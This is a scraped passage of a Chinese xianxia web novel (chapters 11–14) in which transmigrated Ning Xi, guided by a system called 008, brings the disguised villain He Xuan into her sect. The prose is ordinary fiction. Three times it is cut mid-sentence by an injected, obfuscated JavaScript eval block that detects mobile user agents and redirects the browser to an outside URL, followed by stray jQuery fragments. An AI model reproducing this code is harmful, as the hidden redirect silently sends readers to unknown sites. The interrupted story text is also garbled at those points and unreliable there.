闻言,宁惜微微皱眉。 “这是什么?哪来的?” 【正在全面检测中……】 没等008检测出结果,有脚步声朝着宁惜的院中走来,她眼神微顿,当即拿过一旁的扇子,佯装成慢慢扇动的样子。 过了一会儿,一个高挺的身影走了进来,紧随其后的是陆时逍急忙追赶的声音。 “我说你走慢点!我都快追不上了。” “师姐。” 贺玄来到宁惜身前,他换上了蓝白色的天凌宗校服,束着高马尾,深邃的眉眼带着浅浅笑意,整个人看着比之前要意气风发许多。 单从样貌来说,确实是少年郎。 【宿主。】 008突然出声,【特殊情感值极有可能是心动值或爱意值的两种之一,暂不能锁定,还需深入分析。】 ? 宁惜疑惑抬眸,心动值?什么心动? “师姐,衣服我已经换好了。” 贺玄的话音打断了宁惜与系统的对话,他不似之前在幻境城里那般,此时一口一个师姐,对她的态度很是亲近,“我和师兄来接你,去参加我的拜师礼。” 他在宁惜腿边蹲了下来,眼眸极亮,倒真有几分乖巧听话的小师弟模样。 11. 第 11 章 宁惜低眸,错开贺玄朝她递来的手,起身站了起来。 “走吧。” 贺玄收回手,倒也不觉窘迫,很快站直身子跟了上来,他与宁惜并肩而行,出声问道:“师姐,我的拜师礼能延后几日么?” 贺玄的嗓音明快开朗,听着仿佛十分期待拜入天凌宗之后的日子。 宁惜偏头看他,“为何?” “拜师礼需向师父献礼,可眼下我身无分文的……”贺玄的声音渐渐弱下去,他这番话说得诚恳,叫人无法拒绝。 宁惜只是看着他,不说话。 一旁的陆时逍爽快道,“没事的师弟。咱们师尊向来随性,不看重这些规矩仪式,心意到了就行!” 贺玄不回话,他只是直勾勾地盯着宁惜。 宁惜思忖一刻,虽不明白贺玄的态度为什么转变得这么快,却还是敷衍地道了句:“嗯,不必担心。” 话毕,贺玄眼眸一弯,顿时笑了起来。 “好,那我就听师姐的。” “……” 宁惜的院子偏僻,离栖云峰的议事殿有些距离,因此三人一边走,陆时逍一边与初来乍到的贺玄讲述着天凌宗的过往。 “师弟,你可能有所不知。我们天凌宗从前只是个小门小派,还是传到师祖闻人映山那代才登顶天下第一宗的宝座。” 贺玄听得认真,始终笑着。 “自师祖仙逝,梅师叔便继任了掌门的位置。他作为师祖的大弟子,将宗门内分四脉,与其三个师妹师弟们各居一峰,分开掌管峰内的大小事务,而我们师尊呢,就是师祖最小的弟子了。” 说罢,陆时逍指着正对方的山脉道:“那西侧便是梅师叔所掌管的点苍峰了,我跟你说,你没事千万不要往那边跑,那里面住着一群怪物,很容易让你道心破碎的。二师姐就是和……” “师姐。” 赵今遥冷不丁的声音瞬间打断了陆时逍。 陆时逍的目光触及到站在屋檐之下的赵今遥与慕湘,当即噤声,他吹着口哨,扭头望向别处,装作一副若无其事的模样。 赵今遥瞥了陆时逍一眼,最终看向宁惜。 见贺玄站在宁惜身侧,她的脸色冷了不少,反倒是贺玄率先抬手向她们二人作揖,礼貌地叫了声。 “二位师姐好。” 赵今遥蹙眉,“师父还没答应要收你,你现在改口未免太早了点。” 赵今遥这话一出,原本还算平和的氛围霎时被打破,她话里对贺玄的排斥与敌意毫不掩饰。 慕湘看着眼底笑意瞬间褪去的贺玄,明明对面才是弱势那方,心里莫名替赵今遥捏了把汗。 短暂沉默过后。 贺玄说道,“此前我的一些行为的确可疑,难免让师姐们多想,我先表歉意。可我从小无父无母,凡事只能依靠自己,遇见的歹人多了便很难再相信他人。” “即便如此,我也还是被陶老伯骗进了骨炽鸟的幻境里。骨炽鸟手段残忍,我在里面被折磨得人不人鬼不鬼的,这才将你们错认成歹人,实在是我的错。师姐救我一命,今日无论岳峰主收不收我,我都只认栖云峰。” “……” 贺玄真挚的话语,引得在场的宁惜几人纷纷侧目看去,赵今遥更是哽在了原地,一时间不知该如何接话。 赵今遥想起鲤鱼精的话,又质问:“那你进入尸胡山之前,因何被人追杀?” 闻言,贺玄的眼眸立即沉了下去。 【警报,警报。】 宁惜脑海里传来008冷漠至极的机械音,它说:【贺玄感化值-100。】 宁惜眼皮一跳,实在没想到负一亿的数值还能往下掉,她看向前一秒嘴上还在说着只认栖云峰、此刻心里估计想给他们天凌宗全灭了的贺玄,陷入了沉思。 “我欠了他们五百灵石,无力偿还。” 短暂的安静过后,贺玄这样解释。 而下一刻,人机系统的声音再次响起:【贺玄感化值-100。】 “我按照他们的要求给他们当七年仆从,可临近约定时间他们却又反悔,不愿放我走。” 【贺玄感化值-200。】 “我便只能自己想办法逃了出来,这才被他们一路追杀至尸胡山。” 【贺玄感化值-100。】 “……” 贺玄每说一句,感化值就往下掉一点,宁惜不禁在心里问系统,“贺玄的感化值有阈值吗?” 【没有。】 “那关闭数值报告。” 【?】 008劝道,【宿主,关闭数值后您将无法获知准确感化信息,会影响您任务进程的!】 “我几时说过要感化他了?只要他人待在天凌宗,死不了就行。” 【……】 它现在改口说有阈值还来得及吗? 【可是,】008挣扎道,【只有您推进感化任务才可以获取积分奖励,解除生死咒的线索宿主您不想要了么?】 宁惜平静道:“威胁我?” 【不……我只是提醒您。】 宁惜不回话,眼底也没什么情绪。 接受不了冷暴力的008正欲服软,宁惜身旁的陆时逍猛地大呼一声,“你这也太惨了吧!” “区区五百灵石,就让你给他们当仆从当了七年?!什么人如此横行霸道,你告诉我,我替你去教训教训他们!” “不用了,三师兄。”贺玄回绝了陆时逍的好意,他脸上重新扬起一个笑容,“那些都过去了。” 【贺玄感化值-500。】 宁惜:“……” 过没过去你自己心里知道。 “那就好!” 陆时逍郑重地拍着贺玄的肩膀:“师弟你放心,既然是师姐把你带回天凌宗,师尊定然会收你为徒的,以后这儿便是你的家!” 见自己师弟把话说到这个份上,赵今遥便也不再说什么了,只是在快要抵达议事殿门前时,她将陆时逍拉至一旁,悄声谈话。 “你怎么回事?没看我让小师妹给你传送的讯息吗?” “看了啊。” 陆时逍道,“不就是师姐古古怪怪非要去红莲城寻人,实际红莲城只是骨炽鸟编织的幻境,你们在城里救下师弟,随后二师姐你不敌骨炽鸟时,应师姐他们及时赶来协助你们击杀了骨炽鸟,还有我遗漏之事吗?” 赵今遥听着陆时逍丝毫未捕捉到重点的话,皱眉道,“贺玄这人不简单,他之前还想杀了师姐。” “哦。”陆时逍不以为意,“那方才师弟也解释了啊,他不是故意的。” “你相信他所说的?” 陆时逍笑了起来,“二师姐,重要的不是你我相不相信,是师姐相信与否。只要师姐信,那就是真的。” “我去和师尊说。” “二师姐。”陆时逍伸手拦住赵今遥,“你跟着咱们师尊这么多年,难道还不明白吗?师姐要做的事,师尊他从来不会阻拦。” “可我就觉得他不怀好心。” 陆时逍长叹一口气,他这个二师姐哪儿都好,就是为人太直率了些,有点什么心思恨不得全写在脸上。 “越不怀好心,才越是要放在眼皮子底下亲自看着啊,何况万一只是二师姐你多想了呢?师姐做事自有她的道理,我们就别管了。” 说罢,陆时逍往后一仰,看向赵今遥身侧的慕湘,“小师妹,你觉得师兄我说得对吗?” “我……” 慕湘左看看师姐赵今遥,右看看师兄陆时逍,陷入了两难。 走在前头的宁惜与贺玄感知到身后没人了,两人在竹林前停下,回头朝她们看来。 宁惜催促道,“别聊了,快跟上。” “来了!” 陆时逍见好便收,他推着赵今遥往前走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316316|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,“哎呀二师姐,你就别操心师姐的事了,我们还是好好准备两月后的宗门大比吧!” 提到宗门大比,赵今遥果真沉默了。 宗门大比每五年一次,上次大比赵今遥输得很惨,也间接导致她卡在筑基大圆满五年,都没能突破金丹。 此事,至今都是赵今遥心中的一个结。 如若此次大比前还不能突破金丹…… 赵今遥闭了闭眼,不再想这事,跟上师弟师妹们的脚步,朝着宁惜走去。 议事殿。 他们五人走进去时,岳归衍已经坐在堂上了,他身着一袭素白长袍,墨发高束,仅用一支簪子固定,手里折扇轻握,简洁而不失风雅。 模样清俊年轻,看着更像是与他们同属一辈。 “徒儿们回来啦。” 岳归衍一看到他们,笑嘻嘻地收起了扇子,“你们下山可还玩得开心?” “师尊你都知道么?”慕湘有些惊讶。 “当然了,你们师姐下山前同我说过一嘴,不然你以为你们打不过那骨炽鸟,点苍峰的人能来得那么快?” 慕湘小声嘀咕,“我还以为师尊你去找小师叔喝酒,并不知晓我们偷偷跑下山的事呢……” “怎么会!”岳归衍眉头一竖,“平日里我多关心你们啊,你们但凡受点伤为师的心都要碎了!这次若是全折在骨炽鸟手中,我定将整个九州大陆都踏平!为你们报仇!” “……” 赵今遥等人呵呵一笑,不搭话。 她们看着岳归衍这副不正经的做派,一时真不知道是师尊像师姐,还是师姐像师尊了。 听听算了吧。 “行了,都别站着了,坐下吧。” 岳归衍话一落,宁惜几人便在各自的座位上坐了下来。 贺玄一人站在正中央,接受着众人注视的目光,岳归衍的视线落在他身上,他摇晃着折扇,眼睛笑成了一条缝。 “你就是贺玄?” 贺玄对眼前的岳归衍有几分眼熟,前世他杀上不筠山,血洗天凌宗时,此人便在其中。那时岳归衍修为低浅,才堪堪元婴初期,在天凌宗一众长老峰主里排行最末。 被他一招腰斩了。 如若这么想的话,他倒是对赵今遥她们也有那么一点印象了。 贺玄隐约记得,岳归衍被腰斩后,他的几个徒弟似乎发了疯般冲上来,想要杀他? 只是……这里面也有宁惜么? 思及此处,贺玄不由得看向坐在岳归衍左侧的宁惜,见她淡然地捧着茶杯抿了一口,眼底透出一丝迟疑。 “师尊问你话,师弟你在想什么呢?” 陆时逍轻声提醒的言语让贺玄回过神来,想到这一路来,他虽紧跟在宁惜身边,可体内的识海却再也没有任何波动。 贺玄不得不低下头,回复岳归衍:“在下贺玄,拜见岳峰主。” “好好好!”岳归衍对贺玄心中的想法毫无所觉,他仍旧笑盈盈道,“那以后你就是我栖云峰的弟子了,快过来敬茶吧!” “是,师尊。” 贺玄对着岳归衍行过叩礼,便端着那杯拜师茶,走上前。 岳归衍接过拜师茶,爽快地喝下一大口,而后朝着众人挥手,“好了,拜师茶我已喝。你们没事都散了吧,我还有点私事要处理。” “哦对,差点忘了。”岳归衍走出去两步,又回头,对着贺玄道,“你以后就住在栖云峰南处的院子,跟你师兄陆时逍一起。” “可我不想和三师兄一起住。” 贺玄的话一出,岳归衍脚步登时一止,其余几人的视线更是齐刷刷地望向了他。 宁惜动作顿了顿,也跟着抬头看向贺玄。 眼前的贺玄少年身姿,张扬凌厉,察觉到她的目光,他深邃的眉宇舒展开来,眼眸明亮如水。 “我想去师姐那儿。” “……” 12. 第 12 章 因着贺玄还是个凡人,他只能跟着陆时逍先去外门领了两床被褥,以及一些简单的日常用物。 两人折返回栖云峰的路上,陆时逍看着神情雀跃的贺玄,不禁说了句:“真不知道你给师姐灌了什么迷魂汤。” 贺玄笑着,“三师兄此话怎讲?” “师姐从前最不喜与人同住,就连二师姐拜入师尊名下多年,都未曾和她同住一屋过。你一来,倒是变得不一样了。”陆时逍说着,悄悄打量着贺玄的表情。 贺玄只是微笑,“也许是因为师姐说我有几分天资,还说我们栖云峰缺我这样的人才,所以对我格外好些。” 陆时逍沉默一瞬,“师姐跟你这么说的?” “对。”贺玄点头。 “她也这么对我和小师妹说过。” “……” 陆时逍看着哽在原地的贺玄,低头笑了笑。 “以后师姐的话,你只需要信三分就行了。她是我见过最能胡诌的人,没有之一,你别看咱们师姐修为不高,可她心性却高着,不是什么人都能入得了她的眼的。” 贺玄迎上陆时逍的眼神,眸中的笑意收敛了些,“三师兄,为何和我说这些?” “你知道我的意思。” “……” 贺玄微抬眼皮,他看着眼前双眸含笑、笑意却不达眼底的陆时逍,遽然笑道:“抱歉师兄,你的意思我不是很明白。” 闻言,陆时逍皱起了眉。 他看向眼前神色认真诚恳的贺玄,一时竟有些怀疑了,难不成真是他和二师姐想得太多了? “算了。” 反正他们天凌宗上有秘密的人数不胜数。 陆时逍向来随性自在惯了,对他人的秘密毫无窥探欲,毕竟知道得太多,往往容易死得更快。 “前面便到师姐的院子了,我就不送你了。”陆时逍想通了,干脆摆手走人。 目送着陆时逍的背影消失,贺玄抬头看了眼院落大门,这才抬脚走进去。他前世唯一一次踏足天凌宗,便是为了杀应无虞与谢澜,却也只到了问仙殿前。 从未来过什么栖云峰。 贺玄眼中闪过一丝兴奋,不过这样也好。 待他恢复修为,便先将天凌宗踏平,免得应无虞她们日后总在他面前上蹿下跳,阻碍他的计划。 …… “师姐!” 贺玄抱着两床被褥快步走进来时,宁惜正躺在桃树下,她眼眸微阖,身前是云卷云舒,头顶的花瓣飘落在她发间。 院中悄然寂静。 贺玄看着像是睡着了的宁惜,再度开口,“师姐?” 无人应答。 贺玄将怀中的被褥随手丢至一旁的竹椅上,他的目光在宁惜眼下的乌青上停顿一秒,随即看向她微微垂下的手臂。 他记得,识海是在宁惜与他掌心相握时才有轻微波动的。 贺玄低眼,眼睫遮住眸中的情绪,他蹲在宁惜身前,盯着她双白净细长的手看了半晌,最终起身离开了。 宁惜醒来,已是两个时辰后了。 自从与贺玄绑定后,她这段时日精神总紧绷着,直到今天把他带回天凌宗,才了却一桩心事。 眼前是近在咫尺的云锦霞光,宁惜瞥了眼身上笨重的被褥,掀开坐了起来。她环视一番空落落的院子,刚一起身,贺玄端着两盘菜走了出来。 他瞧见宁惜醒了,笑吟吟地喊她:“师姐。” “你醒来的刚好。下午我收拾完屋子后,发现我们院中有后厨,便向四师姐讨要了一些食材,正巧做好,师姐你尝尝?” 经由贺玄这么一提醒,宁惜这才发觉她的院子变得整洁干净了许多。 院落中央的四角桌椅也被擦得干干净净的。 她早已辟谷多年,无需进食,因此院中那套桌椅便不曾用过,它经历过风吹日晒与时间的洗礼后,已经变得破败不堪了。 然而,不知贺玄从哪儿摘来了一束花,连带着白瓷瓶放在桌上,为孤僻冷寂的院中徒增了几分鲜活气息。 宁惜的视线掠过瓶中充满灵气的鲜花,询问道:“你去了后山?” “师姐怎么知道的?” 贺玄问完,很快反应过来,他正欲往下接话,宁惜忽地开口说了句:“你以后出门需得先经过我的准许,尤其是出栖云峰。” “我去哪儿,你才能去哪儿。” “……” 贺玄脸上的笑容僵了一瞬,他没反驳,很快又扬起一个笑,“好,师姐怎么说,我便怎么做。” 听见贺玄满口答应下来,宁惜不由得多看了他一眼。 脑海里008的“咦”了一声,【贺玄如今这么好说话了?】 “虽然师姐早已辟谷,但我还是做了两人份的。”贺玄再次推荐自己,“师姐要不要尝一尝我的手艺?” 宁惜垂眸,看着木桌上色香味俱全的菜肴,最终走到他面前。 见她走过来,贺玄当即递上碗筷,他眸中喜悦难掩,“师姐,给。” 贺玄所做的菜肴都是凡人爱吃的,并非修仙灵膳。 宁惜舀起其中那道鲫鱼豆腐汤喝了半碗,味道确实鲜美可口。 “好吃。”宁惜毫不吝啬地夸赞道。 “师姐喜欢就好。” 念及贺玄被废之前好歹是个太子身份,宁惜不禁发问:“你从前还需亲自下厨吗?” 贺玄笑着,“当然,师姐莫不是忘了我从小无父无母的事么?” “……” 宁惜见贺玄打算把“无父无母”的人设贯彻到底,便也懒得戳破他,总归他以后是个弑父杀兄的狠人。 没准人家还真是发自内心这么认为的呢。 对此,宁惜表示尊重并理解。 贺玄的教养极好,宁惜一动筷吃饭后,他便再也没开口说过话。等到宁惜放下筷子,贺玄又自觉收拾碗筷去了后厨。 俨然一副乖巧听话小师弟的模样。 宁惜也乐得他围在自己身边做这些事,她重新坐回躺椅上,眼看着霞光一点一点地没入夜色中,才在贺玄的提醒下回房睡觉。 翌日一早,栖云峰功法堂。 当宁惜带着贺玄抵达时,赵今遥他们三人已然站在门前了。 由于天凌宗内分四脉,各峰的亲传弟子,平日里都是在自家师尊的指导下修仙习道的,每周仅有半天需要前往天机阁接受长老们的教导。 至于宗门任务,所有弟子都可在问仙殿接取和汇报。 前些时日,便有不少人为了宗门大比,接取了一些难度较高的任务下山历练,不过随着宗门大比的时间越近,大家都默契地选择留在宗门潜心修炼,看看还能不能再往上提拔一个小等级。 “师姐好。” “嗯。” 听到师妹师弟三人的声音,宁惜点头应下,她看向始终紧闭的功法堂大门,打着哈欠问道:“师尊又迟到了?” 赵今遥眉头紧蹙,正欲回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316317|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,几人身后响起岳归衍爽亮的嗓音。 “不迟不迟,我这刚刚好呢,是你们来太早了!”岳归衍边说着,一边整理着自己的衣襟。 几人贴心地不拆穿他,只喊岳归衍一句:“师尊好。” “徒儿们好!”岳归衍冁然而笑,他神色间没有半点师尊严厉的样子,“外头晒,先进去吧。” 他们五人跟着岳归衍走进功法堂,在空余的蒲团上盘膝而坐。 台上的岳归衍突然开口问道:“我上次讲到哪儿了?” “……” 赵今遥无奈地看了眼没个正形的岳归衍,提醒他,“《天凌诀》第二十三篇。” “哦是,为师想起来了。” 岳归衍呵呵一笑,他的视线扫过坐在宁惜身后的贺玄,话锋一转,“不过看在贺玄才刚入我们栖云峰的份上,今日还是重头,从第一篇讲起。” “又重头来?” 赵今遥惊了,三年前师弟师妹们从内门转为亲传,岳归衍就把《天凌诀》重新讲述了一遍。 如今还来?! “是啊,总要照顾照顾你新入门的小师弟嘛。” 赵今遥道,“可是师尊,两月后便要进行宗门大比了,您难道还想看我们栖云峰垫底么?” “你瞧你这话。”岳归衍不满道,“你们都是同一师门的师姐师弟,要友善团结,怎能只顾自己呢?” 赵今遥低下脑袋,不吭声了。 宁惜深知赵今遥在意上次宗门大比的事,她看了她一眼,带着贺玄起身,“那我带着师弟去后山修炼吧。” 岳归衍迎上宁惜的眼神,立即改口询问贺玄:“你可愿意让你师姐教你?” 贺玄眼光一凌,作揖道:“能让师姐教我,我求之不得。” “好!那由你师姐来教,为师也放心,你们去吧!” 有岳归衍松口应允,宁惜带着贺玄慢悠悠往后山走去,寻得一处阴凉的竹林,她席地而坐,顺势躺了下来。 “修仙第一步:引气入体。” 贺玄跟着宁惜在她对面坐下,还算认真问道:“师姐,我该怎么做?” 宁惜懒散回复,“用你的意识去感受这后山中的天地灵气,等你觉得身体周围似有暖流浮动,再把我叫醒。” “……好。” 说罢,宁惜眼一闭又要睡觉。 【宿主。】 脑海中,008看着随口敷衍贺玄的宁惜,出声提醒道,【特殊情感值排查结果已出,这边显…显示……】 宁惜在心里问道,“什么?” 【显示数值代表着,贺玄此刻想杀你的心动数值。】 “知道了。” 008听着宁惜相当平静的回答,稳不住了,【宿主,您早就知道了?】 “不知道啊。” 【那您这么淡定?!您不担心么?贺玄现在和你住在一起,只要他想,就能趁着夜色偷摸进你的卧房!】 “这还好,我能接受,总比他真的对我心动了要好,那才叫恐怖好么?” 贺玄是什么人?才见一面就心动,实在没有比这更惊悚的事了。 【……所以您真的不打算感化他,只准备养废他吗?】 尽管宁惜闭着眼,她也依稀能听到风中竹叶飘动的声响,她想了想,认真道:“他有他自己的道,用不着我感化。” 【……】 008突然不知道,把这个任务交给宁惜究竟是好是坏了。 13. 第 13 章 宁惜这一觉睡得很沉。 梦中隐约还梦到了死前的现代生活,睁眼后,她盯着头顶翠绿的竹林,随后看向黄昏下还在坚持引气入体的贺玄。 莫名有种恍如隔世的错觉。 转念想到自己离现代生活的确很遥远了,宁惜心里的迷茫瞬间消散了许多,正欲再躺一会儿,目光不由自主地被贺玄吸引。 她定睛一看围绕在贺玄周身的浓郁灵气,脑子顿时清明了。 怎么回事?她随便教的几句。 都还能给贺玄学会了? “师姐。” 似是感知到宁惜的注视,贺玄睁开眼,他唇边带笑,“我按你教的办法试了试,你看我学得对么?” “……” 宁惜起身,她百思不得其解地绕着贺玄转了三圈,眉心始终紧蹙。 贺玄见她这副表情,不禁出声问道,“师姐,我可是有哪儿做得不对么?” 宁惜光摇头,不回话。 贺玄便也配合地看着她转圈,直到宁惜在他面前蹲下,伸出她那只白净细长的手。 “手给我。” 说着,宁惜朝贺玄招手。 贺玄瞥了宁惜一眼,敛下眸中深处的晦暗,乖乖伸出了手腕。冰冷的指尖触碰上手腕,体内的识海一片死寂。 唯有一丝灵气似有若无。 起初,贺玄只是随意按照宁惜教的话,试了一试,他自知体内有一成魔道修为,自然是入不了正道,更修炼不了天凌宗的功法。 谁料…… 贺玄微皱眉头,此刻的情况谁都解释不了。 总归他的修为被封锁,今日就算是现世九州修为最高者、天凌宗那位合道中期的小师叔来了,探他脉息也探不出什么来。 不多时,宁惜果不其然地缩回了探脉息的指尖。 她稍稍仰头,眼神平静地盯着贺玄,心里却止不住的困惑。 不应该啊。 难不成贺玄还是个修道天才?可他不是反派吗? 反派都修正道了那还能叫反派么。 这么想着,宁惜把脑海里的人机系统给叫了出来。 【宿主。】 宁惜对迅速反应的008感到满意,她站起来,往后退了两步,在心里命令道:“帮我扫描一下贺玄,他什么情况?” 【好的。】 人机系统接受到指令,立即对贺玄进行了全面分析,然而得出来的结果却和之前是一样的,显示没什么异常。 宁惜的视线掠过眼前的蓝屏界面,落在修为那三个问号上。 “他的修为之前也是这样?” 【是的宿主,您之前不是看过一遍么?】 “……没仔细看。” 008无奈喊道:【宿主,您上点心吧。】 “你再帮我着重检测一下他的修为。” 【宿主,这已经是我能检测到的结果了,其余的要升级系统才能更加准确。】 “……” 宁惜头疼地闭了闭眼,摆手道,“没你事了。” 008不再说话,自觉闭上嘴走了。 “师姐?” 贺玄看着纹丝不动的宁惜,只觉她心里又在算计什么,当下警惕了几分。 贺玄的声音将宁惜思绪拉回,她思忖片刻,脱口而出道,“师弟,有没有人跟你说过,你可能是个天才?” 贺玄疑惑抬眸,虽不解但还是答道,“没有。” “那现在有了。” 宁惜一本正经地说,“你是天才,天才用我刚才说的那种方式修炼是不对的。你跟着我学,我保证师弟你以后的修为,在天凌宗无人能比。” 贺玄被宁惜这番话说得差点要相信时,下一秒又听见她说了句:“天才修仙第一步:睡觉。” 贺玄:“……” “师弟,只要睡满六百六十六天,每天睡前在心中默念一遍‘我是天才’,六百六十六天之后你将直达合道大圆满,成为九州现世最高修为者。” 贺玄眼皮跳了跳,他迎上宁惜尤为真诚的眼神,微微笑道:“真的吗?师姐。” “真的,你信我。” “……” 宁惜真把他当傻子忽悠。 * 之后的几天。 宁惜每日都带着贺途躺在院子里,再也没出门过。 凡是有人要找宁惜,来到她的院中,便能看到两个不修炼的亲传,在桃树下躺得笔直,惬意地晒着日光——睡大觉。 008对宁惜明显过于拙劣的谎言,可贺途却莫名相信了,还十分听话地依循睡觉修炼法,感到非常不可思议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316318|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它总觉得,依照贺玄在原文中的品性,一定在憋什么大招。 然而连着好几日,贺玄都没动静。 除了需要食材做饭时出趟院子,他几乎是寸步不离地跟在宁惜身边,宁惜说东,他绝不往西。 哪怕是养的一条傻狗,都不至于如此听话。 直至五日后,所有亲传弟子需集体前往天机阁接受长老们的授课,宁惜才终于舍得带着贺玄走出她那小院子。 天机阁在主峰问仙殿的旁边。 宁惜他们五人抵达时,其余三峰的亲传弟子也到了,但长老们还未到,所有弟子乌泱泱一片,都穿着统一的蓝白色宗门校服,规规矩矩地站着。 只能靠腰带或者腰饰来区分。 其中数她们栖云峰的最简单,腰间都只别了一块象征天凌宗身份的环佩,观堇峰和她们差不太多,断霞峰则多一个简美精致的小荷包。 而以掌门梅净尘为首的点苍峰,他们每人腰间都围绕着一圈繁杂华丽的坠饰。 此时此刻,宗门哪个峰内的亲传综合实力最强盛,就看出来了。 陆时逍担心贺玄不认识人,一把揽住他的肩,在一旁贴心地介绍道: “右侧第一排站着的是点苍峰梅师叔的亲传弟子,共有四位。我听二师姐说,你们在下山见过谢师兄和应师姐,想必你也眼熟,至于其余两位……” “……至于左边,站在应师姐对面的那群人是观堇峰容师叔的亲传。他曾收过四位弟子,如今数常烈常师兄最大。” “应师姐身后则是断霞峰明师叔的亲传。”陆时逍指向不远处那一道清冷,一道活泼的身影,说道,“她总共就收了两位弟子,宋沅芷宋师姐,宜苏师妹。” 等陆时逍介绍完,她们五人刚好走到常烈三人身后。 常烈等人一见到她们走来,当即看了过来,他的视线在几人身上打量一番,最终望向了贺玄。 “真不知道岳师叔怎么想的。三年前破格收两个内门弟子为亲传便也罢了,现在一个毫无根基的凡人都能成亲传了?” 这话一出,点苍峰和断霞峰的人也齐齐看了过来。 常烈毫不收敛地继续道,“就算再收不到好徒弟,也不能如此乱来吧?世人只当我们天凌宗的亲传都这么好当。” “……” 14. 第 14 章 “你说是吧,宁师姐?” 常烈这番话,将他们五人都暗讽了个遍。赵今遥和慕湘都被气得不轻,板着一张脸,就连平日里没心没肺的陆时逍,他的神色都变得严肃了些许。 反倒是被常烈集中攻击的贺玄笑容依旧,看不出丝毫生气愤怒的迹象。 宁惜笑意淡淡,“想必常师弟是羡慕我们栖云峰的师弟师妹。想来也是,并非所有人都能如此好运,能直接拜入天凌宗做亲传。” 常烈拜入观堇峰做亲传之前,曾在外门干过一段时间杂役,他天赋不高,花了近几十年时间才一步步从外门做到亲传。 本该是件振奋人心的事。 可那些寂寂无闻的日子成为了常烈心中的一根刺,哪怕如今他已经成为观堇峰最大的师兄,却总会记得他是所有亲传中最没天赋的那个。 常烈的害怕、自卑,让他变得越发傲慢且无礼。 这些事情是所有亲传弟子都心知肚明的一件事,他们平时为了照顾常烈,压根不会拿到嘴上来说。 此时有人轻飘飘地把这事说出来,让在场众人都诧异了。 尤其,这些话还是从宁惜口中说出来的,她向来和善,昔日在栖云峰上“与世无争”的,从来不与人结仇。 就连赵今遥她们三人眼里都是藏不住的震惊。 “你!” 常烈整个脖子都红了,“能顺利拜为亲传又如何?你现在的修为连你二师妹都不如,停在筑基后期这么多年,换我,我都没脸出栖云峰的门!” 被人当众讥讽,宁惜脸上的笑容不减。 她似是不在乎修为能不能增进之事,将摆烂进行到底。 倒是宁惜身旁的师弟师妹们比她本人还急,赵今遥更是上前一步,就差将她的坠星枪掏出来了:“常烈,你修炼修得脑子出问题了?” “我师姐比你早入师门,你岂敢不敬?” “早入师门?”常烈仿佛听到了什么笑话,“在场之人除了慕湘,谁的修为不比她高?应师妹早已突破金丹,宜苏师妹也筑基大圆满了,就连去你们栖云峰做亲传不到三年的陆时逍,都快赶上来了。” “哦是,现在又多了一个。” 说罢,常烈再次看向宁惜身后的贺玄,“我听说,这位凡人小师弟是宁师姐带回来的?当初慕湘与陆时逍拜入栖云峰好像就由宁师姐引荐,宁师姐可别是自己的修为提不上去,担心垫底,所以才一直让岳师叔收一些低修为的人做亲传?” “常烈。” 眼看着常烈越说越过分,谢澜及时出声制止了,他的声音带着冷意:“注意你的分寸。” 天凌宗传到她们这一辈是第二十四代,目前这一代中的修为最高者,是已然修至金丹后期的谢澜。 要知道一般的内门长老也才金丹后期,更别说谢澜还年轻。 于是他这一声,让常烈话音顿止。 常烈想着谢澜是掌门的大弟子,又瞥见他身旁六年金丹的应无虞,深知点苍峰是自己惹不起的存在,不情愿地回了句“是”,随即转正身子,不再开口。 所幸不多时,长老们陆续步入了天机阁。 以修为最高的掌门梅净尘走在首位,他一袭蓝白道袍,身姿挺拔如松,而梅净尘身后则是天凌宗的大长老谷正显,相比起坚毅威严且正值盛年的梅净尘,他长眉入鬓,已显霜白之色。 再往后,便是身穿一袭红衣的断霞峰峰主明情、坐着轮椅由人推进来的观堇峰峰主容叙,以及一众长老,最后才是修为最低的岳归衍。 一众元婴期之上的大能走来,气息涌入殿内的瞬间,众人只觉得空气都稀薄了些,不自觉地放慢了呼吸。 然而,其中亦有不协调的存在。 “徒儿!” 岳归衍大摇大摆地在宁惜她们五人跟前,停了下来。 他才元婴初期,在一排人中是最不起眼的,若不是因为他是闻人映山亲传中最小的弟子,以岳归衍的年纪与修为根本不可能担当一峰之主。 “刚才发生了何事?”岳归衍不忘向宁惜打听,他好奇道,“我在殿外隐约听见你们在斗嘴?吵什么呢?” “……” 赵今遥默默别头,这一众人里也只有她们的师尊最不正经。 “阿衍。”为首的梅净尘回头看向已经脱离队伍的岳归衍,忽然出声。 被叫到名字的岳归衍登时站直了身子,他迎上梅净尘投来的眼神,讪笑着跑上前,总算是收敛了些。 待掌门和长老们在各自位置上落座,梅净尘先扫视一圈殿内的亲传弟子,最终将目光投向方才闹事的常烈与宁惜两人身上。 